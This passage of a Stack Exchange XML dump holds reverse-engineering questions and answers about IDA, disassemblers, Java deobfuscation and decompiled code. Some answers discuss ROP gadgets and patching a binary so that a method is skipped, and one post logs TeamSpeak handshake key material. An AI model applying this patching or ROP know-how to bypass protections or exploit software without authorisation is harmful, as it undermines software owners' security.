  <row Id="12458" PostTypeId="2" ParentId="12456" CreationDate="2016-04-16T21:20:50.077" Score="2" Body="&lt;p&gt;This is a long shot, but i &lt;em&gt;assume&lt;/em&gt; what happened is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your firmware does not have any ELF or similar headers (this isn't really a problem, it's expected to be this way), but is supposed to be loaded at a specific location in memory, which is &lt;strong&gt;not&lt;/strong&gt; 0. Or, maybe it &lt;em&gt;does&lt;/em&gt; have some headers, which IDA fails to recognize, so it loads those headers at 0, and the real binary a few bytes behind where it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of this example, let's assume the firmware is supposed to be loaded at address &lt;code&gt;0x1000&lt;/code&gt;, while IDA loaded it at &lt;code&gt;0x0000&lt;/code&gt; - you can specify the load address when you first open the binary; if you don't change it, the default is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, a string that is supposed to be at address &lt;code&gt;0x1234&lt;/code&gt; in the running binary will be located at &lt;code&gt;0x0234&lt;/code&gt; in your IDA database. But the processor instruction in your code will still use &lt;code&gt;0x1234&lt;/code&gt;. But because IDA doesn't find anything sensible there, it will just assume it's a number, or maybe there is something there, but it won't be your string, so IDA might put a label at that point, but it won't recognize the connection with your string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you really should do is try and find out if a) the firmware has some headers that don't belong to the binary, in which case you should remove them before analyzing, and b) which address the firmware belongs to, and make sure you state that address when analyzing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid your work with locating and tagging the strings manually was in vain; IDA does have commands to relocate a binary and adjust references, but these assume the binary is loaded/analyzed/crossreferenced correctly in the first place. Relocating your binary now won't help you as those crossreferences just aren't there.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-16T21:20:50.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12459" PostTypeId="2" ParentId="12457" CreationDate="2016-04-16T23:57:04.317" Score="1" Body="&lt;p&gt;As @guntram-blohm suggested, &lt;em&gt;&quot;Used &lt;code&gt;jmp esp&lt;/code&gt; instead of &lt;code&gt;pop esp;&lt;/code&gt; &lt;code&gt;retn&lt;/code&gt;&quot;&lt;/em&gt; is likely a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pop esp;&lt;/code&gt; &lt;code&gt;retn&lt;/code&gt; effectively does the following, which is &lt;strong&gt;very&lt;/strong&gt; different from &lt;code&gt;jmp esp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esp, dword ptr [esp]&#xA;jmp dword ptr [esp]&#xA;add esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-16T23:57:04.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12460" PostTypeId="1" AcceptedAnswerId="13298" CreationDate="2016-04-17T07:16:31.290" Score="10" ViewCount="4631" Body="&lt;h2&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;As the title is self-explanatory, I would like to translate binaries of any architecture (e.g. x86, ARM, ARM Thumb) to an intermediate language in order to apply arch-independent static analysis.&lt;/p&gt;&#xA;&lt;p&gt;To be exact, my work is confined to the shared objects supplied in APK files for Android platform. My basic requirements, which I would expect the IL to meet, is as follows (Actually my goal is to extract information flows from a given &lt;code&gt;.so&lt;/code&gt; file supplied in an APK file).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Binary slicing&lt;/li&gt;&#xA;&lt;li&gt;PDG (CFG/DFG)&lt;/li&gt;&#xA;&lt;li&gt;Well-supported by its maintainer or its community&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For this purpose I've looked into some existing tools listed below, but unfortunately I'm not sure whether I can use them to reveal information flows or not.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Cr4sh/openreil&quot; rel=&quot;noreferrer&quot;&gt;OpenREIL&lt;/a&gt;: The aim of this project is to lift up arch-dependent binaries into REIL.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/programa-stic/barf-project&quot; rel=&quot;noreferrer&quot;&gt;Barf Project&lt;/a&gt;: A multiplatform open source Binary Analysis and Reverse engineering Framework&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.capstone-engine.org&quot; rel=&quot;noreferrer&quot;&gt;Capstone&lt;/a&gt;: A disassembly framework.&lt;/li&gt;&#xA;&lt;li&gt;Epic: This tool translates binaries of any-arch to arch-independent LLVM bitcode. (This project is not public, so I cannot use it.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;Is there any IL out there that I use to statically analyze a arch-dependent &lt;code&gt;.so&lt;/code&gt; file (within an APK archive) in order to extract information flows? Basically I want it to provide basic requirements such as slicing and PDG.&lt;/p&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-01-31T21:13:35.907" Title="Lifting up binaries of any arch into an intermediate language for static analysis" Tags="|disassembly|android|static-analysis|reil|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12462" PostTypeId="1" CreationDate="2016-04-17T15:26:44.570" Score="1" ViewCount="1697" Body="&lt;p&gt;I would like to move my return from &lt;code&gt;htons&lt;/code&gt; call &lt;code&gt;00005c11&lt;/code&gt; and have have moved to the top if &lt;code&gt;eax&lt;/code&gt; and have the result of &lt;code&gt;5c110000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nasm won't let me &lt;code&gt;mov eax, ax&lt;/code&gt; due to size constraints. Is there a defined way to do this or a potential hack?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorDisplayName="user15807" LastEditDate="2016-04-17T20:17:59.520" LastActivityDate="2016-04-17T20:17:59.520" Title="Is there a way to 'mov eax, ax'?" Tags="|x86|nasm|" AnswerCount="1" CommentCount="2" ClosedDate="2016-04-26T17:24:42.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="12463" PostTypeId="2" ParentId="12462" CreationDate="2016-04-17T15:45:35.513" Score="3" Body="&lt;p&gt;The answer is to use &lt;code&gt;rol&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rol eax, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6992" LastEditorDisplayName="user15807" LastEditDate="2016-04-17T19:25:11.063" LastActivityDate="2016-04-17T19:25:11.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12464" PostTypeId="1" CreationDate="2016-04-17T17:45:08.753" Score="0" ViewCount="6666" Body="&lt;p&gt;In viewing the diff for two files, a method in the original file starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the modified file, it starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0&#xA;pop rax&#xA;retn&#xA;endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In essence, the modified file is patched to avoid running the method. My question is, what byte do I need to patch in IDA to achieve the same effect?&lt;/p&gt;&#xA;" OwnerUserId="15808" LastEditorUserId="1413" LastEditDate="2016-04-17T17:58:04.017" LastActivityDate="2016-04-17T18:00:35.193" Title="How can I patch this file?" Tags="|ida|patch-reversing|bin-diffing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12465" PostTypeId="2" ParentId="12464" CreationDate="2016-04-17T18:00:35.193" Score="3" Body="&lt;p&gt;Something is wrong here, since the original &lt;code&gt;push ebp; mov ebp, esp&lt;/code&gt; is 32 bit code, and the modified &lt;code&gt;pop rax&lt;/code&gt; is 64 bit code. You might want to sort that out before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, in IDA:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;locate the method in the graph view, or disassembly view. The bottom line in this view will show you the load address of the current instruction as well as the offset in the loaded file, this will help you finding the correct address&lt;/li&gt;&#xA;&lt;li&gt;put the cursor on the &lt;code&gt;push ebp&lt;/code&gt; instruction`&lt;/li&gt;&#xA;&lt;li&gt;from the menu, use 'Edit/Patch program/Assemble'&lt;/li&gt;&#xA;&lt;li&gt;enter your assembly code, line by line&lt;/li&gt;&#xA;&lt;li&gt;when done, use 'Edit/Patch program/Apply patches to input file' to save back your changes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-17T18:00:35.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12466" PostTypeId="1" CreationDate="2016-04-17T18:25:19.373" Score="1" ViewCount="201" Body="&lt;p&gt;I am a bit new to RE, so forgive me any weird or stupid questions. &#xA;The app that I am currently working on has strings I need to modify in .data section. That's why Ollydbg doesn't allow me to copy  changes to a new executable. I found out I can use resource editor to do that, but unfortunately I am able to change only menus and dialogs, icons and graphics. There are no strings including this one I want to change. To sum up, I'd like to know any method to change string located in data section.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15809" LastActivityDate="2016-04-17T18:25:19.373" Title="Modyfying PE file data section" Tags="|ollydbg|pe|strings|" AnswerCount="0" CommentCount="11" ClosedDate="2016-04-26T17:26:06.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="12467" PostTypeId="1" AcceptedAnswerId="12471" CreationDate="2016-04-17T21:59:23.767" Score="2" ViewCount="1550" Body="&lt;p&gt;I want to extract opcodes (&lt;code&gt;MOV, ADD, ...etc&lt;/code&gt;) from binary files 'exe files' but as I want the process to be completely automated, I was looking for a free disassembler which can be easily integrated preferably a python based tool.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this project : &lt;a href=&quot;http://www.capstone-engine.org&quot; rel=&quot;nofollow&quot;&gt;http://www.capstone-engine.org&lt;/a&gt; &#xA;however, I am still trying to figure out how it can be used to extract the opcodes 'it is a bit complicated for me!' and I want some advice 'before spending more time' in terms of whether it is the best and more flexible option available there or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15185" LastEditorUserId="60" LastEditDate="2016-04-18T17:26:29.820" LastActivityDate="2016-04-18T17:26:29.820" Title="Disassembler for batch/automated processing" Tags="|disassemblers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12468" PostTypeId="2" ParentId="12467" CreationDate="2016-04-17T23:12:39.943" Score="0" Body="&lt;p&gt;The free evaluation version of IDA should meet your needs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_demo.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/download_demo.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-17T23:12:39.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12470" PostTypeId="2" ParentId="12460" CreationDate="2016-04-18T07:17:46.743" Score="1" Body="&lt;p&gt;I have some related researches on a few months ago. I don't know any tool enough all your requirements. However, I think you can follow &lt;a href=&quot;http://www.jakstab.org/&quot; rel=&quot;nofollow&quot;&gt;Jakstab&lt;/a&gt;. It supports to analyze for Linux ELF files and generates control-flow graph. In generally, you need to modify Jakstab for your researches.&lt;/p&gt;&#xA;" OwnerUserId="15816" LastActivityDate="2016-04-18T07:17:46.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12471" PostTypeId="2" ParentId="12467" CreationDate="2016-04-18T08:51:02.063" Score="3" Body="&lt;p&gt;The problem with most disassembler libraries - including the excellent Capstone - is that they do only part of the job that you need. They will gladly disassemble any instruction bytes that you feed them, but they won't tell you which bytes in an executable image are instructions or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PE32+ executables have to declare all their non-leaf functions in their &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/0kd71y96.aspx&quot; rel=&quot;nofollow&quot;&gt;.pdata sections&lt;/a&gt; so that Windows can properly unwind their stack frames; this gives you a good head start if you are dealing with PE32+ (i.e. the AMD64 species of PE). In most other cases you are pretty much left to your own devices unless you have a capable analysis engine like IDA's and a good library of scripts/plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the Python plugins for IDA that are floating around on the 'net. Some of them have to duplicate part of IDA's analysis functionality for one reason or another, and so they tend to fall back on libraries like Capstone. These can be a source of inspiration and/or ready-to-use code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And don't forget to scrutinise Capstone's list of &lt;a href=&quot;http://www.capstone-engine.org/showcase.html&quot; rel=&quot;nofollow&quot;&gt;projects that use Capstone&lt;/a&gt;; quite a few of them are Python-based and do advanced analysis of executables.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-04-18T08:51:02.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12472" PostTypeId="2" ParentId="12467" CreationDate="2016-04-18T15:54:46.620" Score="-1" Body="&lt;p&gt;Try &lt;a href=&quot;http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/&quot; rel=&quot;nofollow&quot;&gt;Pyew by Joxean Koret&lt;/a&gt; it's &lt;a href=&quot;https://github.com/joxeankoret/pyew&quot; rel=&quot;nofollow&quot;&gt;open source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2016-04-18T15:54:46.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12473" PostTypeId="2" ParentId="12449" CreationDate="2016-04-18T18:19:47.200" Score="12" Body="&lt;p&gt;There is no similar feature for Java byte code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you compile a C program, and statically link it to a standard library, the library code will be present, more or less unmodified, within the binary (except for addresses which will change), but there won't be any hint that a particular function had a particular name before being compiled (unless debugging is enabled while compiling/linking). But, any given function has a more or less fixed pattern of bytes, and by recognizing these bytes, IDA can assign the original name to the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Java bytecode, there is no necessity to do this. Function names, variable names, and similar information is present in the compiled bytecode anyway. The &quot;standard library&quot;, &lt;code&gt;rt.jar&lt;/code&gt;, isn't embedded into the bytecode either, so if a class uses an &lt;code&gt;ArrayList&lt;/code&gt;, the class will have a reference to &lt;code&gt;java.util.ArrayList&lt;/code&gt; even after the obfuscation process. So, nothing to do here for a signature analyzer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application chooses to obfuscate the standard library as well, it needs to include that obfuscated library into its own jar files. This will probably raise some licensing issues, but apart from that, as the obfuscator will rename methods and fields, the byte code of that obfuscated library will be too different from the original byte code to be recognizable by a feature like IDA's FLIRT. Also, you can't just rename the method in IDA, because you'd have to modify all the references as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is at least one open source project that has a similar problem like yours, and they seem to have solved it quite well. &lt;a href=&quot;https://minecraft.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minecraft&lt;/a&gt; is a popular game that includes a server that's written in Java (and obfuscated); the &lt;a href=&quot;https://www.spigotmc.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Spigot&lt;/a&gt; project decompiles this server, changes some things, adds an API, and distributes the result. Specifically, to avoid licensing issues, they distribute a build system which downloads, decompiles, patches, and recompiles the Minecraft server on the user's machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They use the &lt;a href=&quot;https://github.com/fesh0r/fernflower&quot; rel=&quot;nofollow noreferrer&quot;&gt;fernflower&lt;/a&gt; decompiler, which has an option to rename symbols while decompiling, and include an extensive map of obfuscated-to-readable symbol names. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeInstance a ()LIAttribute; getAttribute&#xA;AttributeInstance a (D)V setValue&#xA;AttributeInstance e ()D getValue&#xA;AttributeMapServer b ()Ljava/util/Set; getAttributes&#xA;AxisAlignedBB b (DDD)LAxisAlignedBB; grow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The source code, which is generated using these maps, is obviously way more readable than the original one. And, at least for the spigot project, recompiling this source (after adding some patches to create an API) yields a working Minecraft server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, maybe, this could be a way for you to proceed - use fernflower to decompile your classes, load them into an editor to find some useful code and assign readable class names, write a mapping file, and repeat this a few times. Then, when you want to do some dynamic analysis, recompile the decompiled Java code and load that into IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this approach still has some problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you will still have to identify each function manually - but as i said, you probably won't find any standard library functions in your code anyway. And, there are no existing signature libraries for whichever method you use, so there's probably no way around that.&lt;/li&gt;&#xA;&lt;li&gt;the decompiled/recompiled code may not work, because of bugs/shortcomings in the Java decompiler itself&lt;/li&gt;&#xA;&lt;li&gt;the decompiled/recompiled code may not work because of the obfuscator; for example, the obfuscator might replace all string constants with something like &lt;code&gt;Obfuscator::decode(&quot;some_crypted_stuff&quot;)&lt;/code&gt;, where the &lt;code&gt;decode&lt;/code&gt; function uses the name of the calling class as its decryption key, meaning the decryption fails when the class gets renamed&lt;/li&gt;&#xA;&lt;li&gt;the obfuscator might bring its own class loader, which mangles the class name before loading it; for example, it might know to turn a &lt;code&gt;com.obfuscate.SOME_BASE_64_STRING&lt;/code&gt; class into the decoded base64 string, so &lt;code&gt;com.obfuscate.amF2YS51dGlsLkFycmF5TGlzdAo.something()&lt;/code&gt; would call &lt;code&gt;java.util.ArrayList.something()&lt;/code&gt;. This breaks the visible connection between caller and callee (but the name mapping could solve this problem quite well and you could automate a lot)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even if you can't get a decompiled, recompilable, version of your binary, you can probably write some code that works on the decompiled source to identify functions by their behaviour, using some heuristics, Then, have your code write a mapping table, and write a python plugin to import that mapping table into your code as comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's questionable if these approaches beat manual reverse engineering within IDA, but as IDA doesn't have this feature, and as there are no generic signature libraries (and they wouldn't work anyway, see above), it's the best i have to offer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit 2016-04-17&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Turns out I have a little project where I could use some deobfuscation mapping myself, and checked into the deobfuscation process of the Minecraft decompiling step a bit more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out they don't even use fernflowers remapping feature. Instead, they have their own set of tools. These are lamentably underdocumented, but there seems to be a &lt;a href=&quot;https://github.com/md-5/SpecialSource&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub Repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one, &lt;a href=&quot;https://hub.spigotmc.org/stash/projects/SPIGOT/repos/builddata/browse/bin/SpecialSource.jar&quot; rel=&quot;nofollow noreferrer&quot;&gt;SpecialSource.jar&lt;/a&gt;, compares an obfuscated jar with an unobfuscated version, and generates a mapping table. This seems to allow to build new tables quickly when a new version of the obfuscated original comes out. There is, however, no documentation about what's exactly being compared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second one, &lt;a href=&quot;https://hub.spigotmc.org/stash/projects/SPIGOT/repos/builddata/browse/bin/SpecialSource-2.jar&quot; rel=&quot;nofollow noreferrer&quot;&gt;SpecialSource-2.jar&lt;/a&gt;, remaps class and method references and names &lt;em&gt;directly in the jar file&lt;/em&gt;, without a decompilation/compilation step, so it avoids all the problems that come with that. So once you have a mapping file, you can apply it to the jar to get an output jar, which you can then feed into IDA, or a decompiler of your choice.&#xA;Usage is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;java -jar /path/to/SpecialSource-2.jar map -m mapping.csrg \&#xA;-i obfuscated.jar -o readable.jar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the mappings file looking like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This renames a class, given the obfuscated name and the readable one&#xA;com/example/ab/a MyNiceClassName&#xA;# This renames a method, given the class, method, signature, and readable name.&#xA;MyNiceClassName a (D)I doubleToInt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="13506" LastEditDate="2018-11-18T22:12:51.087" LastActivityDate="2018-11-18T22:12:51.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12474" PostTypeId="1" CreationDate="2016-04-18T19:28:44.270" Score="1" ViewCount="992" Body="&lt;p&gt;I want to learn something about reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to rebuild the TeamSpeak connection (client connects to server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hooked the recv and send + encrypt/decrypt functions and logged the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEND_CRYPT: clientinitiv alpha=5KPOgZDgbleuNw== omega=MEwDAgcAAgEgAiBHsn4CYlt90fs0G1sEnx0nmGPfQYMwegBrhzD3yKj3xAIhAKmF+INBCx3rP6FPHq5XfEQt2RFDHdan9EhyZwaziDrV ip=52.28.46.214&#xA;RECV_CRYPT: initivexpand alpha=5KPOgZDgbleuNw== beta=xauLd710Z+FpNA== omega=MEsDAgcAAgEgAiAeZO7JB+dpowIKbjBiTtovildErI2tDPRfMmgBBF\/h5AIgLkw8l3NXolC6nzuMltP3dbewY0hLzMnEK38uhl0N20w=&#xA;SEND_CRYPT: clientinit client_nickname=zodiac client_version=3.0.18.2\s[Build:\s1445512488] client_platform=Windows client_input_hardware=1 client_output_hardware=1 client_default_channel client_default_channel_password client_server_password client_meta_data client_version_sign=F0hY25Dtja0wcU6dzC39rNuYbhnDAbIwPHC3VO9Oicf13kUY2I2g6scPZ3p195Cw9gUYdBIRYm8ucHEhtSeWCw== client_key_offset=104 client_nickname_phonetic client_default_token client_badges=Overwolf=0 hwid=c7b85b27969edb59fc3103155deb11fb&#xA;SEND_CRYPT: ,3e8bfb43b3abf4f6331ebd6d65523eeb&#xA;RECV_CRYPT: ‘—&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Teamspeak encrypts with AES the network traffic so alpha/omega are probably the keys for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also sniffed the traffic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qczg7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qczg7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried in Delphi to simply send this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clientinitiv alpha=5KPOgZDgbleuNw== omega=MEwDAgcAAgEgAiBHsn4CYlt90fs0G1sEnx0nmGPfQYMwegBrhzD3yKj3xAIhAKmF+INBCx3rP6FPHq5XfEQt2RFDHdan9EhyZwaziDrV ip=52.28.46.214&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as an udp packet to the server, but didn't get a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can explain me how I can figure out what to send and what each packet does/contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15822" LastEditorUserId="15822" LastEditDate="2016-04-18T19:34:36.893" LastActivityDate="2016-04-18T19:34:36.893" Title="Reversing network traffic and rebuild packets" Tags="|protocol|packet|sniffing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12475" PostTypeId="1" CreationDate="2016-04-18T19:59:31.613" Score="5" ViewCount="5293" Body="&lt;p&gt;Looking at the functions exposed by &lt;code&gt;idaapi&lt;/code&gt; I see that functions like the following are exposed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_user_cmt&#xA;set_user_cmt&#xA;save_user_cmts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As these functions are exposed I'm hoping that I have a way to add comments onto the hex-rays decompiler using a script. I looked around a bit and could not find examples using these functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set_user_cmt seems to take 2 arguments, of which the second is the comment and the first is an instance of &lt;code&gt;treeloc_t&lt;/code&gt;. However, I'm not too sure how to use it. Using the following leads to an orphan comment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.set_user_cmt(idaapi.treeloc_t(5), &quot;asdf&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user1743" LastEditorDisplayName="user1743" LastEditDate="2016-04-18T20:25:58.393" LastActivityDate="2016-09-30T09:12:02.283" Title="IDApython and IDA-decompiler commenting" Tags="|ida|idapython|ida-plugin|hexrays|idapro-sdk|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12477" PostTypeId="2" ParentId="12475" CreationDate="2016-04-19T07:31:21.017" Score="-2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#MakeComm&quot; rel=&quot;nofollow&quot;&gt;idc.MakeComm&lt;/a&gt; or &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#MakeRptCmt&quot; rel=&quot;nofollow&quot;&gt;idc.MakeRptCmt&lt;/a&gt; functions. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MakeComm(address, 'My comment')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-04-19T07:31:21.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12478" PostTypeId="1" CreationDate="2016-04-19T08:00:18.527" Score="1" ViewCount="897" Body="&lt;p&gt;Please help me understand the following function lines. The loop body does some floating point arithmetic, but why does it cast float pointers to &lt;code&gt;char *&lt;/code&gt;, and back?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( CG.blockLength &amp;gt;= 4 )  &#xA;{  &#xA;    nrLevel = (char *)xTime - (char *)scratch;  &#xA;    v8 = &amp;amp;scratch[CG.blockLength];  &#xA;    v9 = xFreq + 1;  &#xA;    v10 = outBuf + 2;  &#xA;    v7 = 0;  &#xA;    do  &#xA;    {  &#xA;      *(v9 - 1) = xTime[v7];  &#xA;      v7 += 4;  &#xA;      v9 += 4;  &#xA;      *v8 = *(v10 - 2);  &#xA;      v8 += 4;  &#xA;      *(v9 - 4) = *(float *)((char *)v9 + nrLevel - 16);  &#xA;      v10 += 4;  &#xA;      *(v8 - 3) = *(float *)((char *)v9 + (char *)outBuf - (char *)xFreq - 16);  &#xA;      *(v9 - 3) = *(float *)((char *)v10 + (char *)xTime - (char *)outBuf - 16);  &#xA;      *(v8 - 2) = *(v10 - 4);  &#xA;      *(v9 - 2) = xTime[v7 - 1];  &#xA;      *(v8 - 1) = *(v10 - 3);  &#xA;    }  &#xA;    while ( v7 &amp;lt; L - 3 );  &#xA;  }  &#xA;  if ( v7 &amp;lt; L )  &#xA;  {  &#xA;    v11 = &amp;amp;xFreq[v7];  &#xA;    v12 = &amp;amp;xFreq[v7 + L];  &#xA;    v13 = L - v7;  &#xA;    do  &#xA;    {  &#xA;      v14 = *(float *)((char *)v11 + (char *)xTime - (char *)xFreq);  &#xA;      ++v11;  &#xA;      *(v11 - 1) = v14;  &#xA;      ++v12;  &#xA;      --v13;  &#xA;      *(v12 - 1) = *(float *)((char *)v11 + (char *)outBuf - (char *)xFreq - 4);  &#xA;    }  &#xA;    while ( v13 );  &#xA;  }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Full function are here for quick reference&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl NR_Proc(_NoiseReduction *Q, AudioSignal2_ *signal)  &#xA;{  &#xA;  float *scratch; // ecx@1  &#xA;  float *v3; // edx@1  &#xA;  float *xTime; // ebx@1  &#xA;  int v5; // esi@1  &#xA;  int v7; // edi@5  &#xA;  float *v8; // ecx@6  &#xA;  float *v9; // eax@6  &#xA;  float *v10; // edx@6  &#xA;  float *v11; // eax@9  &#xA;  float *v12; // edx@9  &#xA;  int v13; // ecx@9  &#xA;  double v14; // st7@10  &#xA;  double v15; // st7@14  &#xA;  float *v16; // eax@14  &#xA;  double v17; // st6@14  &#xA;  double v18; // rt0@15  &#xA;  float *v19; // ecx@16  &#xA;  double v20; // rt1@16  &#xA;  double v21; // st6@16  &#xA;  double v22; // st7@16  &#xA;  bool v23; // zf@16  &#xA;  double v24; // st7@18  &#xA;  double v25; // st6@18  &#xA;  double v26; // st5@18  &#xA;  double v27; // st4@18  &#xA;  double v28; // st3@18  &#xA;  int v29; // ecx@19  &#xA;  unsigned int v30; // edx@19  &#xA;  float *v31; // edi@19  &#xA;  double v32; // st2@21  &#xA;  double v33; // st7@21  &#xA;  